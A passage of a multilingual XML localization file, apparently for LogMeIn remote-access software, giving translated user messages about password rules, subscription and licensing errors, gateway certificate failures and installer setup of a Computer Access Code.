<ja>パーソナル パスワードは 6 文字以上 15 文字以下の長さにする必要があります。</ja>
<zh>个人密码必须至少包含 6 个字符,但不能超过 15 个字符。</zh>
<ko>개인 암호는 6자 이상이어야 하고 15자를 초과하면 안됩니다.</ko>
<en-gb>The Personal Password must be at least six characters but not more than fifteen characters in length.</en-gb>
<hu>A Személyes jelszó legalább hat karakterből kell álljon, de nem haladhatja meg a tizenöt karakter hosszúságot.</hu>
<pt-br>Esta senha pessoal deve ter entre seis e quinze caracteres de extensão.</pt-br>
<nl>Het persoonlijke wachtwoord moet minimaal zes tekens en maximaal vijftien tekens lang zijn.</nl>
</msg>
<msg name="19904">
<en>The password and the password confirmation fields do not match.</en>
<de>Das Kennwort und die Kennwortbestätigung stimmen nicht überein.</de>
<es>Los campos de contraseña y de confirmación de contraseña no coinciden.</es>
<fr>Le mot de passe et la confirmation du mot de passe ne correspondent pas.</fr>
<it>La password e la password di conferma non corrispondono.</it>
<ru>Введенные в полях пароля и подтверждения комбинации не совпадают.</ru>
<ja>パスワード フィールドとパスワードの確認フィールドが一致しません。</ja>
<zh>密码字段与密码确认字段不匹配。</zh>
<ko>암호 및 암호 확인 필드가 일치하지 않습니다.</ko>
<en-gb>The password and the password confirmation fields do not match.</en-gb>
<hu>A jelszó és a jelszó megerősítése mezők nem egyeznek.</hu>
<pt-br>Os campos senha e confirmação da senha não correspondem.</pt-br>
<nl>De wachtwoorden die u in de velden voor het wachtwoord en het bevestigingswachtwoord hebt ingevoerd, komen niet overeen.</nl>
</msg>
<msg name="19905">
<en>The Personal Password can only contain the Latin characters A-Z, a-z; and the numbers 0-9.</en>
<de>Es sind nur Buchstaben und Zahlen erlaubt.</de>
<es>Sólo se permiten números y letras.</es>
<fr>Seuls des lettres et des chiffres sont autorisés.</fr>
<it>Sono consentiti solo lettere e numeri.</it>
<ru>Разрешено использовать только буквы и цифры.</ru>
<ja>文字と数字以外は入力できません。</ja>
<zh>只能输入字母和数字。</zh>
<ko>문자와 숫자만 사용할 수 있습니다.</ko>
<en-gb>The Personal Password can only contain the Latin characters A-Z, a-z; and the numbers 0-9.</en-gb>
<hu>Csak betűk és számok engedélyezettek.</hu>
<pt-br>Somente letras e números são permitidos.</pt-br>
<nl>U mag alleen letters en cijfers invoeren.</nl>
</msg>
<msg name="19906">
<en>The ability to modify LogMeIn configurations would be denied if the desired settings were applied. This update has not been applied.</en>
<es>La capacidad de modificar configuraciones de LogMeIn se denegará si se aplicaran las configuraciones deseadas. No se ha aplicado esta actualización.</es>
<de>Wenn die gewünschten Einstellungen übernommen würden, könnten LogMeIn-Konfigurationen nicht mehr modifiziert werden. Diese Aktualisierung wurde nicht durchgeführt.</de>
<fr>La modification des configurations LogMeIn serait refusée si les réglages souhaités étaient appliqués. Cette mise à jour n'a pas été appliquée.</fr>
<it>Applicando le impostazioni desiderate, non sarà più possibile modificare le configurazioni di LogMeIn. L'aggiornamento non è stato applicato.</it>
<ru>В изменении настроек LogMeIn будет отказано, если были применены необходимые настройки. Данное обновление не было применено.</ru>
<ja>要求された設定が適用されると、LogMeIn の設定を変更する機能が拒否されます。 この更新は適用されませんでした。</ja>
<zh>如果应用所需的设置,修改 LogMeIn 配置的功能可能被拒绝。 此更新尚未应用。</zh>
<ko>원하는 설정이 적용되었을 경우 LogMeIn 구성을 수정할 수 있는 기능이 거부됩니다. 이 업데이트가 적용되지 않았습니다.</ko>
<en-gb>The ability to modify LogMeIn configurations would be denied if the desired settings were applied. This update has not been applied.</en-gb>
<hu>A kívánt beállítások alkalmazása esetén a LogMeIn-konfigurációk módosításának lehetősége elutasításra kerül. Ez a frissítés még nem került alkalmazásra.</hu>
<pt-br>A capacidade de modificar as configurações do LogMeIn seria negada se as configurações desejadas fossem aplicadas. Esta atualização não foi aplicada.</pt-br>
<nl>De mogelijkheid om de configuraties van LogMeIn te wijzigen is niet toegestaan wanneer de gewenste instellingen zijn toegepast. Deze update is niet toegepast.</nl>
</msg>
<msg name="19907">
<en>The Computer Access Code can only contain Latin characters A-Z, a-z; and numbers 0-9.</en>
<fr>Le code d'accès à l'ordinateur ne peut contenir que les caractères romains A-Z, a-z et les chiffres de 0 à 9.</fr>
<es>Él código de acceso al ordenador sólo puede contener caracteres latinos (A-Z, a-z) y números (0-9).</es>
<de>Der Computer-Zugriffscode darf nur die lateinischen Buchstaben A-Z, a-z sowie die Ziffern 0-9 enthalten.</de>
<it>Il Codice di accesso al computer può contenere solo i caratteri latini A-Z, a-z e i numeri 0-9.</it>
<nl>De computertoegangscode kan alleen uit de Latijnse letters a-z; en de nummers 0-9 bestaan.</nl>
<pt-br>O Código de acesso do computador só pode conter caracteres latinos de "A" a "Z", "a" a "z" e números entre 0 e 9.</pt-br>
<zh>Computer Access Code(计算机访问代码)只能包括拉丁字符 A-Z,a-z;以及数字 0-9。</zh>
<ru>Код доступа к компьютеру может содержать только символы A–Z, a–z и цифры 0–9.</ru>
<ja>コンピュータ アクセス コードに使用できる文字は、アルファベットの A ~ Z と a ~ z、および数字の 0 ~ 9 のみです。</ja>
<ko>컴퓨터 액세스 코드에는 라틴 문자 A-Z, a-z 및 숫자 0-9만 포함될 수 있습니다.</ko>
<hu>A számítógépes hozzáférési kód csak a latin abc kis- és nagybetűiből, illetve számokból állhat.</hu>
<en-gb>The Computer Access Code can only contain Latin characters A-Z, a-z; and numbers 0-9.</en-gb>
</msg>
<cat name="WEBSVC">
<msg name="NOGATEWAYS">
<en>No gateways are currently available.</en>
<de>Derzeit sind keine Gateways verfügbar.</de>
<es>Actualmente, no hay disponible ninguna gateway.</es>
<fr>Aucun gateway (passage) n'est actuellement disponible.</fr>
<it>Nessun gateway attualmente disponibile.</it>
<ru>В настоящее время нет доступных шлюзов.</ru>
<ja>現在有効なゲートウェイはありません。</ja>
<zh>当前没有任何可用的网关。</zh>
<ko>현재 사용할 수 있는 게이트웨이가 없습니다.</ko>
<en-gb>No gateways are currently available.</en-gb>
<hu>Jelenleg nincs elérhető webes átjáró.</hu>
<pt-br>Não há gateways disponíveis no momento.</pt-br>
<nl>Op dit moment zijn geen gateways beschikbaar.</nl>
</msg>
<msg name="EXPIRED">
<en>Your subscription has expired. Please go to the %WEBSVC.NAME website to
extend your subscription.</en>
<de>Ihre Subscription ist abgelaufen. Besuchen sie bitte die %WEBSVC.NAME Webseite, um ihre Subscription zu verlängern.</de>
<es>Su suscripción ha caducado. Vaya a la página web %WEBSVC.NAME para
ampliar su suscripción.</es>
<fr>Votre abonnement a expiré. Veuillez aller au site Web de %WEBSVC.NAME afin de
prolonger votre abonnement.</fr>
<it>La sottoscrizione è scaduta. Passare al sito Web %WEBSVC.NAME per prolungarla.</it>
<ru>Истек срок действия вашей подписки. Посетите веб-сайт %WEBSVC.NAME, чтобы продлить свою подписку.</ru>
<ja>利用期間の有効期限が切れています利用期間を拡張するには、%WEBSVC.NAME Web サイトをご覧ください。</ja>
<zh>您的订阅已到期。请转至 %WEBSVC.NAME Web 站点延长订阅期限。</zh>
<ko>가입이 만료되었습니다. %WEBSVC.NAME 웹 사이트로 이동하여 가입을 연장하십시오.</ko>
<en-gb>Your subscription has expired. Please go to the %WEBSVC.NAME website to extend your subscription.</en-gb>
<hu>Az Ön előfizetése lejárt. Kérem látogasson el a(z) %WEBSVC.SITE webhelyre, 
hogy előfizetését meghosszabbítsa.</hu>
<pt-br>Sua assinatura expirou. Vá para o site %WEBSVC.NAME para
estender sua assinatura.</pt-br>
<nl>Uw abonnement is verstreken. Ga naar de website %WEBSVC.NAME om uw abonnement te verlengen.</nl>
</msg>
<msg name="BADLICENSEID">
<en>This computer could not be identified. Please go to the %WEBSVC.NAME website to
check and update your subscription.</en>
<de>Dieser Computer kann nicht identifiziert werden, Besuchen sie bitte die %WEBSVC.NAME Webseite, um ihre Subscription zu prüfen und zu aktualisieren.</de>
<es>Este ordenador no ha podido ser identificado. Vaya a la página web %WEBSVC.NAME para
comprobar y actualizar su suscripción.</es>
<fr>Cet ordinateur n'a pas pu être identifié. Veuillez aller au site Web  %WEBSVC.NAME afin de
vérifier et mettre à jour votre abonnement.</fr>
<it>Non è stato possibile identificare questo computer. Passare al sito Web %WEBSVC.NAME per controllare e aggiornare la sottoscrizione.</it>
<ru>Не удалось идентифицировать данный компьютер. Посетите веб-сайт %WEBSVC.NAME, чтобы проверить и обновить свою подписку.</ru>
<ja>このコンピュータは認識されませんでした。利用期間の確認および更新を行うには、%WEBSVC.NAME Web サイトをご覧ください。</ja>
<zh>无法标识此计算机。请转至 %WEBSVC.NAME Web 站点检查和更新订阅。</zh>
<ko>이 컴퓨터를 식별할 수 없습니다. %WEBSVC.NAME 웹 사이트로 이동하여 가입을 확인하고 업데이트하십시오.</ko>
<en-gb>This computer could not be identified. Please go to the %WEBSVC.NAME website to check and update your subscription.</en-gb>
<hu>Ez a számítógép nem azonosítható. Kérem látogasson el a(z) %WEBSVC.SITE webhelyre, 
ellenőrizze és frissítse előfizetését.</hu>
<pt-br>Este computador não pôde ser identificado. Vá para o site %WEBSVC.NAME para
verificar e atualizar sua assinatura.</pt-br>
<nl>Deze computer kon niet worden geïdentificeerd. Ga naar de website %WEBSVC.NAME om uw abonnement te controleren en indien nodig te vernieuwen.</nl>
</msg>
<msg name="BADAUTHCODE">
<en>This computer could not be authenticated. It is possible that you have installed
the same subscription on another computer, in which case all previous installations
are automatically locked out. Please go to the license configuration and choose a
subscription to use.</en>
<de>Dieser Computer konnte nicht authentifiziert werden. Möglicherweise haben sie die gleiche Subscription auf einen anderen Computer installiert. Dadurch werden alle vorhergehenden Installationen automatisch gesperrt. Gehen sie bitte in die Lizenzkonfiguration und wählen die ein Subscription, die sie verwenden wollen.</de>
<es>Este ordenador no ha podido ser autenticado. Es posible que haya instalado
la misma suscripción en otro ordenador; en tal caso todas las instalaciones previas
se bloquearán automáticamente. Vaya a la configuración de licencia y seleccione
una suscripción que pueda utilizar.</es>
<fr>Cet ordinateur n'a pas pu être authentifié. Il est possible que vous ayez installé
le même abonnement sur un autre ordinateur, au quel cas toutes les installations précédentes
sont automatiquement bloquées. Veuillez aller à la configuration de license et choisissez 
l'abonnement à employer.</fr>
<it>Non è stato possibile autenticare questo computer. È possibile che sia stata installata la stessa sottoscrizione su un altro computer; in tal caso tutte le installazioni precedenti vengono bloccate automaticamente. Passare alla configurazione della licenza e selezionare una sottoscrizione da utilizzare.</it>
<ru>Данному компьютеру не удалось пройти проверку подлинности. Возможно, эта же подписка установлена на другом компьютере. В этом случае все предыдущие установки автоматически блокируются. Перейдите к странице настроек лицензии и выберите подписку для использования.</ru>
<ja>このコンピュータは認証されませんでした。同一の利用期間を他のコンピュータにインストールしている可能性があります。その場合、以前にインストールしたものはすべて、自動的にロック アウトされます。ライセンス設定を開き、使用する利用期間を選択してください。</ja>
<zh>无法验证此计算机。原因可能是您在另一台计算机上安装了相同的订阅,这种情况下,将自动锁定所有先前安装。请转至许可证配置并选择要使用的订阅。</zh>
<ko>이 컴퓨터를 인증할 수 없습니다. 다른 컴퓨터에 동일한 가입을 설치했을 수 있습니다. 이런 경우 모든 이전 설치는 자동으로 잠깁니다. 라이센스 구성으로 이동하고 사용할 가입을 선택하십시오.</ko>
<en-gb>This computer could not be authenticated. It is possible that you have installed the same subscription on another computer, in which case all previous installations are automatically locked out. Please go to the licence configuration and choose a subscription to use.</en-gb>
<hu>Ez a számítógép nem hitelesíthető. Lehetséges, hogy ugyanezt az előfizetést
telepítette egy másik számítógépre, és ebben az esetben az összes korábbi telepítés
automatikusan zárolódik. Kérem, lépjen a licensz konfigurálására és válasszon egy 
használni kívánt előfizetést.</hu>
<pt-br>Este computador não pôde ser autenticado. É possível que você tenha instalado
a mesma assinatura em outro computador, caso em que todas as instalações anteriores
serão bloqueadas automaticamente. Vá até a configuração da licença e escolha uma
assinatura a ser usada.</pt-br>
<nl>Deze computer kon niet worden geverifieerd. Het is mogelijk dat u hetzelfde abonnement op een andere computer hebt geïnstalleerd, waardoor alle voorgaande installaties automatisch worden geblokkeerd. Ga naar de pagina voor de configuratie van uw licentie en kies een abonnement dat moet worden gebruikt.</nl>
</msg>
<msg name="BADVERSION">
<en>The version of your copy of %PRODUCTNAME is no longer compatible with the
gateway service. Please visit %WEBSVC.SITE to obtain an upgrade.</en>
<de>Die Version von  %PRODUCTNAME ist zum Gateway Service nicht mehr kompatibel. Besuchen sie bitte %WEBSVC.SITE, um ein Upgrade zu erhalten.</de>
<es>La versión de su copia de %PRODUCTNAME ya no es compatible con el 
servicio gateway. Visite %WEBSVC.SITE para obtener una actualización.</es>
<fr>La version de votre copie de %PRODUCTNAME n'est plus compatible avec le service d'interface. Svp visite %WEBSVC.SITE pour obtenir une mise à niveau.</fr>
<it>La versione della copia di %PRODUCTNAME non è più compatibile con il servizio gateway. Visitare %WEBSVC.SITE per ottenere un aggiornamento.</it>
<ru>Версия вашей копии %PRODUCTNAME больше не является совместимой со службой шлюзов. Посетите веб-сайт %WEBSVC.SITE, чтобы получить обновление.</ru>
<ja>ご使用の %PRODUCTNAME のバージョンは、現在、このゲートウェイ サービスと互換性がありません。アップグレードするには、%WEBSVC.SITE をご覧ください。</ja>
<zh>您的 %PRODUCTNAME 副本的版本与网关服务不再兼容。请访问 %WEBSVC.SITE 获取升级。</zh>
<ko>%PRODUCTNAME의 복사본 버전은 더 이상 게이트웨이 서비스와 호환되지 않습니다. %WEBSVC.SITE을(를) 방문하여 업그레이드를 얻으십시오.</ko>
<en-gb>The version of your copy of %PRODUCTNAME is no longer compatible with the gateway service. Please visit %WEBSVC.SITE to obtain an upgrade.</en-gb>
<hu>A %PRODUCTNAME ezen példányának verziója már nem kompatibilis az
átjáró szolgáltatással. Kérem, látogasson el a(z) %WEBSVC.SITE webhelyre, a frissítéshez.</hu>
<pt-br>A versão da sua cópia do %PRODUCTNAME não é mais compatível com o
serviço de gateway. Visite o %WEBSVC.SITE para obter uma atualização.</pt-br>
<nl>De versie van uw exemplaar van %PRODUCTNAME is niet compatibel meer met de gatewayservice. Ga naar %WEBSVC.SITE om een upgrade uit te voeren.</nl>
</msg>
<msg name="BADGATEWAYCERT">
<en>The gateway certificate is untrusted or failed to verify. It is possible
that someone's trying to gain access to your computer using a man-in-the-middle
attack. In order to prevent this, the connection was terminated. If you keep
getting this error, contact %RA.SUPPORT for assistance.</en>
<de>Das Zertifikat des Gateway ist nicht vertrauenswürdig oder konnte nicht bestätigt werden. Möglicherweise versucht jemand sich durch eine Man-In-The-Middle-Attack auf ihren Computer Zugriff zu verschaffen. Um dies zu verhindern, wurde die Verbindung getrennt. Wenn sie weiterhin diesen Fehler erhalten, kontaktieren sie %RA.SUPPORT für Unterstützung.</de>
<es>El certificado gateway no es de fiar y no ha podido verificarse. Es posible
que alguien esté intentando acceder a su ordenador utilizando un 
ataque de intrusión. Para evitarlo, se ha finalizado la conexión. Si este
error persiste, póngase en contacto con %RA.SUPPORT para recibir asistencia.</es>
<fr>Le certificat du gateway (passage) n'est pas valide ou n'a pas pu être vérifié. Il est possible
que quelqu'un tente d'accéder à votre ordinateur en utilisant une attaque "man-in-the middle" (interception de données par une personne tierce).
Par sécurité la connexion est interrompue. Si vous recever à nouveau cette erreur, contactez le %RA.SUPPORT pour vous aider</fr>
<it>Il certificato gateway non è attendibile o non è riuscito a eseguire la verifica. È possibile che qualcuno stia cercando di ottenere l'accesso al computer utilizzando un attacco del tipo 'man in the middle'. Per evitare questo, il collegamento è stato interrotto. Se questo errore dovesse verificarsi di nuovo, contattare %RA.SUPPORT per assistenza.</it>
<ru>Сертификат шлюза ненадежен, или его не удалось проверить. Возможно, кто-то пытается получить доступ к вашему компьютеру посредством атаки "злоумышленник в середине". Чтобы это предотвратить, соединение было завершено. Если данная ошибка продолжает возникать, обратитесь в службу %RA.SUPPORT за помощью.</ru>
<ja>このゲートウェイ証明書は、信頼されなかったか検証に失敗しました。中間者攻撃を利用して誰かがこのコンピュータへのアクセス権を取得しようとしている可能性があります。これを回避するために、接続を終了しました。このエラーの受信が続く場合は、%RA.SUPPORT にお問い合わせください。</ja>
<zh>网关证书不可信或验证失败。可能是有人试图使用中间人攻击来获得访问您计算机的权限。为了阻止这种情况,已终止连接。如果您继续遇到这种错误,请与 %RA.SUPPORT 联络以获得帮助。</zh>
<ko>게이트웨이 인증서를 신뢰할 수 없거나 확인하지 못했습니다. 다른 사용자가 MITM(man-in-the-middle) 공격을 사용하여 사용자의 컴퓨터에 액세스하려는 중일 수 있습니다. 이것을 방지하기 위해 연결이 종료되었습니다. 이 오류를 확인하려면 %RA.SUPPORT에 문의하여 지원을 받으십시오.</ko>
<en-gb>The gateway certificate is untrusted or failed to verify. It is possible that someone's trying to gain access to your computer using a man-in-the-middle attack. In order to prevent this, the connection was terminated. If you keep getting this error, contact %RA.SUPPORT for assistance.</en-gb>
<hu>Az átjáró tanúsítványa nem megbízható, vagy nem sikerült ellenőrizni. Lehet, hogy
valaki hozzáférést próbál szerezni az Ön számítógépéhez egy közbeékelődéses
támadással. Ennek megakadályozásához a rendszer megszakította a kapcsolatot. Ha továbbra is
ez a hiba merül fel, vegye fel a kapcsolatot a(z) %RA.SUPPORT támogatással segítségért.</hu>
<pt-br>O certificado do gateway não é confiável ou não pôde ser verificado. É possível
que alguém esteja tentando obter acesso ao seu computador usando um ataque man-in-the-middle
. Para evitar isso, a conexão foi encerrada. Se esse erro
persistir, entre em contato com o %RA.SUPPORT para obter assistência.</pt-br>
<nl>Het certificaat voor de gateway is niet betrouwbaar of kon niet worden geverifieerd. Het is mogelijk dat iemand probeert toegang te krijgen tot uw computer via een aanval door een tussenpersoon. Om dit te voorkomen, werd de verbinding verbroken. Als deze fout zich blijft voordoen, neemt u contact op met %RA.SUPPORT voor advies en hulp.</nl>
</msg>
<msg name="CHANGELICENSE">
<en>You have requested that your subscription for this computer be changed.
%PRODUCTNAME will restart and replace your subscription momentarily.</en>
<de>Die Subscription für diesen Computer wurde geändert. %PRODUCTNAME wird gerade neugestartet und ersetzt ihre Subscription.</de>
<es>Ha solicitado que se modifique su suscripción para este ordenador.
%PRODUCTNAME se reiniciará y reemplazará su suscripción momentáneamente.</es>
<fr>Vous avez demandé que votre abonnement pour cet ordinateur soit modifié.
%PRODUCTNAME redémarrera et remplacera votre abonnement momentanément.</fr>
<it>È stato richiesto di modificare la sottoscrizione per questo computer. %PRODUCTNAME verrà riavviato e sostituirà la sottoscrizione temporaneamente.</it>
<ru>Вы запросили изменение своей подписки для данного компьютера.
Приложение %PRODUCTNAME немедленное перезапустится и заменит вашу подписку.</ru>
<ja>このコンピュータの利用期間の変更を要求しました。%PRODUCTNAME は、ただちに再起動して利用期間を変更します。</ja>
<zh>您已请求对此计算机的订阅进行更改。
%PRODUCTNAME 将重新启动并马上替换您的订阅。</zh>
<ko>이 컴퓨터에 대한 가입을 변경하도록 요청했습니다. %PRODUCTNAME이(가) 다시 시작되고 가입은 곧 변경됩니다.</ko>
<en-gb>You have requested that your subscription for this computer be changed. %PRODUCTNAME will restart and replace your subscription momentarily.</en-gb>
<hu>Azt kérte, hogy módosítsuk előfizetését erre a számítógépre.
A %PRODUCTNAME újraindul, és azonnal cseréli az Ön előfizetését.</hu>
<pt-br>Você solicitou que sua assinatura para este computador seja alterada.
O %PRODUCTNAME será reiniciado e substituirá sua assinatura momentaneamente.</pt-br>
<nl>U hebt een verzoek ingediend om uw abonnement voor deze computer te wijzigen. %PRODUCTNAME wordt opnieuw gestart en uw abonnement wordt tijdelijk vervangen.</nl>
</msg>
<msg name="CHANGELICENSE.INVALID">
<en>You have requested that your subscription for this computer be changed,
however the new subscription could not be applied. Please check the %PRODUCTNAME
log file for errors and contact technical support for assistance.</en>
<de>Die Subscription für diesen Computer wurde geändert. Die neue Subscription konnte jedoch nicht angewendet werden. Prüfen sie bitte die %PRODUCTNAME Logdatei auf Fehler und kontaktieren die den technischen Support.</de>
<es>Ha solicitado que se modifique su suscripción para este ordenador.
Sin embargo no pudo aplicarse la nueva suscripción. Compruebe el archivo de registro de %PRODUCTNAME
para conocer los errores y póngase en contacto con el equipo de asistencia técnica.</es>
<fr>Vous avez demandé que votre abonnement pour cet ordinateur soit modifié,
toutefois le nouvel abonnement ne peut être appliqué. Veuillez consulter le ficher d'erreurs de %PRODUCTNAME afin d'identifier les erreurs et contactez le support technique.</fr>
<it>È stato richiesto di modificare la sottoscrizione per questo computer, ma non è stato possibile applicare la nuova sottoscrizione. Controllare l'esistenza di eventuali errori nel file di registro di %PRODUCTNAME e contattare il supporto tecnico per assistenza.</it>
<ru>Вы запросили изменение своей подписки для данного компьютера, однако применить новую подписку не удалось. Проверьте файл журнала %PRODUCTNAME на наличие ошибок и обратитесь в службу технической поддержки за помощью.</ru>
<ja>このコンピュータの利用期間の変更が要求されましたが、新しい利用期間は適用できませんでした。%PRODUCTNAME ログ ファイルにエラーがないか確認し、テクニカル サポートに問い合わせてください。</ja>
<zh>您已请求对此计算机的订阅进行更改,
然而无法应用新订阅。请检查 %PRODUCTNAME 日志文件是否有错,并与技术支持联络以获得帮助。</zh>
<ko>이 컴퓨터에 대한 가입을 변경하도록 요청했지만 새 가입을 적용할 수 없습니다. %PRODUCTNAME 로그 파일에서 오류를 확인하고 기술 지원부에 문의하여 지원을 받으십시오.</ko>
<en-gb>You have requested that your subscription for this computer be changed, but the new subscription could not be applied. Please check the %PRODUCTNAME log file for errors and contact technical support for assistance.</en-gb>
<hu>Azt kérte, hogy módosítsuk előfizetését erre a számítógépre,
azonban az új előfizetés nem alkalmazható. Kérjük, tekintse meg a(z)  %PRODUCTNAME
naplófájlt a hibákhoz, és vegye fel a kapcsolatot a műszaki támogatással segítségért.</hu>
<pt-br>Você solicitou que sua assinatura para este computador seja alterada;
no entanto, a nova assinatura não pôde ser aplicada. Verifique se há erros no arquivo de log do %PRODUCTNAME
e entre em contato com o suporte técnico para obter assistência.</pt-br>
<nl>U hebt een verzoek ingediend om uw abonnement voor deze computer te wijzigen, maar het nieuwe abonnement kon niet worden gebruikt. Controleer het logboekbestand van %PRODUCTNAME op eventuele fouten en neem contact op met de afdeling Technische support voor advies en hulp.</nl>
</msg>
<msg name="OVERUSE">
<en>The maximum number of hosts that your subscription allows are already online. You
can purchase additional subscriptions on the license configuration page.</en>
<de>Die maximale Anzahl an Computern, die ihre Subscription zulässt, sind bereits online. Sie können zusätzliche Subscriptions auf der Seite der Lizenzkonfiguration bestellen.</de>
<es>El número máximo de hosts que permite su suscripción ya están conectados. Usted
puede adquirir suscripciones adicionales en la página de configuración de licencia.</es>
<fr>Le nombre maximum de licences serveurs sont toutes utilisées.
Vous pouvez acheter des abonnements supplémentaires sur notre page de configuration des licences.</fr>
<it>Il numero massimo di host consentiti dalla sottoscrizione è già in linea. È possibile acquistare sottoscrizioni aggiuntive nella pagina di configurazione delle licenze.</it>
<ru>Уже подключено максимальное число хост-компьютеров, разрешаемых вашей подпиской. Дополнительные подписки можно приобрести на странице настроек лицензии.</ru>
<ja>利用期間で許可される最大数のホスト既にオンラインになっています。追加の利用期間は、ライセンス設定ページで購入できます。</ja>
<zh>联机数已达到您的订阅允许的最大主机数。您
可以在许可证配置页面上购买其他订阅。</zh>
<ko>가입에서 허용하는 최대 호스트 수가 이미 온라인 상태입니다. 라이센스 구성 페이지에서 추가 가입을 구입할 수 있습니다.</ko>
<en-gb>The maximum number of hosts that your subscription allows are already online. You can purchase additional subscriptions on the licence configuration page.</en-gb>
<hu>Az előfizetés által engedélyezett maximális számú gazdagép már online van. Ön
kiegészítő előfizetéseket vásárolhat a licensz-konfigurációs oldalo.</hu>
<pt-br>O número máximo de hosts que sua assinatura permite já está online. Você
pode adquirir assinaturas adicionais na página de configuração da licença.</pt-br>
<nl>Het maximumaantal hostcomputers die voor uw abonnement zijn toegestaan, zijn reeds online. U kunt bijkomende abonnementen kopen op de pagina voor de configuratie van uw licentie.</nl>
</msg>
<msg name="DBERROR">
<en>Our database is temporarily unavailable. Your computer will automatically reconnect
when the problem is resolved.</en>
<de>Unsere Datenbank ist momentan nicht verfügbar. Ihr Computer wird sich automatisch erneut verbinden, wenn das Problem behoben ist.</de>
<es>Nuestra base de datos no está disponible temporalmente. Su ordenador se volverá a conectar automáticamente
cuando se resuelva este problema.</es>
<fr>Notre base de données est momentanément indisponible. Votre ordinateur se reconnectera
automatiquement lorsque le problème sera résolu.</fr>
<it>Il nostro database non è temporaneamente disponibile. Il computer verrà ricollegato automaticamente quando il problema è risolto.</it>
<ru>Наша база данных временно недоступна. Компьютер автоматически восстановит подключение после устранения неполадки.</ru>
<ja>データベースは一時的に無効です。問題が解決したら、コンピュータは自動的に再接続します。</ja>
<zh>我们的数据库暂时不可用。问题解决后,您的计算机将自动重新连接。</zh>
<ko>데이터베이스를 일시적으로 사용할 수 없습니다. 문제가 해결되면 컴퓨터는 자동으로 다시 연결됩니다.</ko>
<en-gb>Our database is temporarily unavailable. Your computer will automatically reconnect when the problem is resolved.</en-gb>
<hu>Adatbázisunk ideiglenesen nem érhető el. Számítógépe automatikusan újracsatlakozik, 
amint a probléma megoldódik.</hu>
<pt-br>Nosso banco de dados está temporariamente indisponível. Seu computador será reconectado automaticamente
quando o problema for resolvido.</pt-br>
<nl>Onze database is tijdelijk niet beschikbaar. De verbinding met uw computer wordt automatisch opnieuw tot stand gebracht zodra dit probleem is opgelost.</nl>
</msg>
</cat>
</cat>
<cat name="INSTALLER">
<cat name="UPDATESETTINGS">
<msg name="PANELTITLE">
<en>Upgrade to Pro</en>
<fr>Évoluer vers Pro</fr>
<es>Actualizar a Pro</es>
<de>Upgrade auf Pro vornehmen</de>
<it>Aggiorna a Pro</it>
<nl>Upgrade naar Pro</nl>
<pt-br>Atualizar para o Pro</pt-br>
<zh>升级到 Pro</zh>
<ru>Обновить до Pro</ru>
<ja>Pro へのアップグレード</ja>
<ko>Pro로 업그레이드</ko>
<hu>Frissítés a Pro-ra</hu>
<en-gb>Upgrade to Pro</en-gb>
</msg>
</cat>
<cat name="COMPUTERACCESCODE">
<msg name="PANELTITLE">
<en>Computer Access Code</en>
<de>Computer-Zugriffscode</de>
<es>Código de acceso a ordenador</es>
<fr>Code d'accès à l'ordinateur</fr>
<it>Codice di accesso al computer</it>
<ru>Код доступа к компьютеру</ru>
<ja>コンピュータ アクセス コード</ja>
<zh>计算机访问代码</zh>
<ko>컴퓨터 액세스 코드</ko>
<en-gb>Computer Access Code</en-gb>
<hu>Számítógépes hozzáférési kód</hu>
<pt-br>Código de acesso ao computador</pt-br>
<nl>Toegangscode voor computer</nl>
</msg>
<msg name="FIELDTITLE">
<en>Computer Access Code:</en>
<de>Computer-Zugriffscode:</de>
<es>Código de acceso a ordenador:</es>
<fr>Code d'accès à l'ordinateur:</fr>
<it>Codice di accesso al computer:</it>
<ru>Код доступа к компьютеру:</ru>
<ja>コンピュータ アクセス コード:</ja>
<zh>计算机访问代码:</zh>
<ko>컴퓨터 액세스 코드:</ko>
<en-gb>Computer Access Code:</en-gb>
<hu>Számítógépes hozzáférési kód:</hu>
<pt-br>Código de acesso ao computador:</pt-br>
<nl>Toegangscode voor computer:</nl>
</msg>
<msg name="VERIFYTITLE">
<en>Verify Computer Access Code:\n\r</en>
<de>Computer-Zugriffscode bestätigen:\n\r</de>
<es>Verificar el Código de acceso al ordenador:\n\r</es>
<fr>Vérification du code d'accès à l'ordinateur :\n\r</fr>
<it>Verifica codice di accesso al computer:\n\r</it>
<ru>Подтвердите код доступа к компьютеру:\n\r</ru>
<ja>コンピュータ アクセス コードを確認する : \n\r</ja>
<zh>验证计算机访问代码:\n\r</zh>
<ko>컴퓨터 액세스 코드 확인:\n\r</ko>
<hu>Számítógépes hozzáférési kód ellenőrzése:\n\r</hu>
<pt-br>Verificar código de acesso do computador:\n\r</pt-br>
<nl>Toegangscode voor computer bevestigen:\n\r</nl>
<en-gb>Verify Computer Access Code:\n\r</en-gb>
</msg>
<msg name="LONGDESCRIPTION">
<en>Since LogMeIn allows access to your computer over the Internet, 
you need to protect this computer with a Username and Computer Access Code. 
Please choose a Computer Access Code that would be hard to guess, and 
is at least 8 characters long.\n\r\n\r
You will be required to enter this Computer Access Code every time 
you access your computer with LogMeIn.</en>
<fr>Puisque LogMeIn permet d'accéder par Internet à votre ordinateur,
vous devez le protéger avec un nom d'utilisateur et un code d'accès à l'ordinateur.
Choisissez un code d'accès à l'ordinateur difficile à deviner et
contenant au moins 8 caractères.\n\r\n\r
Ce code d'accès à l'ordinateur vous sera demandé à chaque fois que
vous accéderez à votre ordinateur avec LogMeIn.
</fr>
<es>Puesto que LogMeIn permite el acceso a su ordenador a través de Internet,
necesita proteger este ordenador con un nombre de usuario y un código de acceso al ordenador.
Elija un código de acceso al ordenador que sea difícil de adivinar y
que contenga al menos 8 caracteres.\n\r\n\r
Se le requerirá este código de acceso al ordenador cada vez que
acceda a su ordenador con LogMeIn.
</es>
<de>Da LogMeIn den Zugriff auf Ihren Computer über das Internet zulässt,
müssen Sie diesen Computer durch einen Benutzernamen und einen Computer-Zugriffscode schützen.
Wählen Sie einen Computer-Zugriffscode, der schwer zu erraten ist und
aus mindestens acht Zeichen besteht.\n\r\n\r
Bei jedem Zugriff auf Ihren Computer mit LogMeIn werden Sie aufgefordert,
diesen Computer-Zugriffscode einzugeben.
</de>
<it>Poiché LogMeIn consente l'accesso al computer tramite Internet, è necessario
proteggere il computer con un nome utente e un codice di accesso.
Scegliere un codice di accesso al computer difficile da indovinare che sia
costituito da almeno 8 caratteri.\n\r\n\r
Verrà richiesto di specificare il codice di accesso ogni volta che si accede
al computer con LogMeIn.
</it>
<nl>Omdat het met LogMeIn via internet mogelijk is toegang te krijgen tot uw computer,
moet u deze computer beveiligen met een gebruikersnaam en een computertoegangscode.
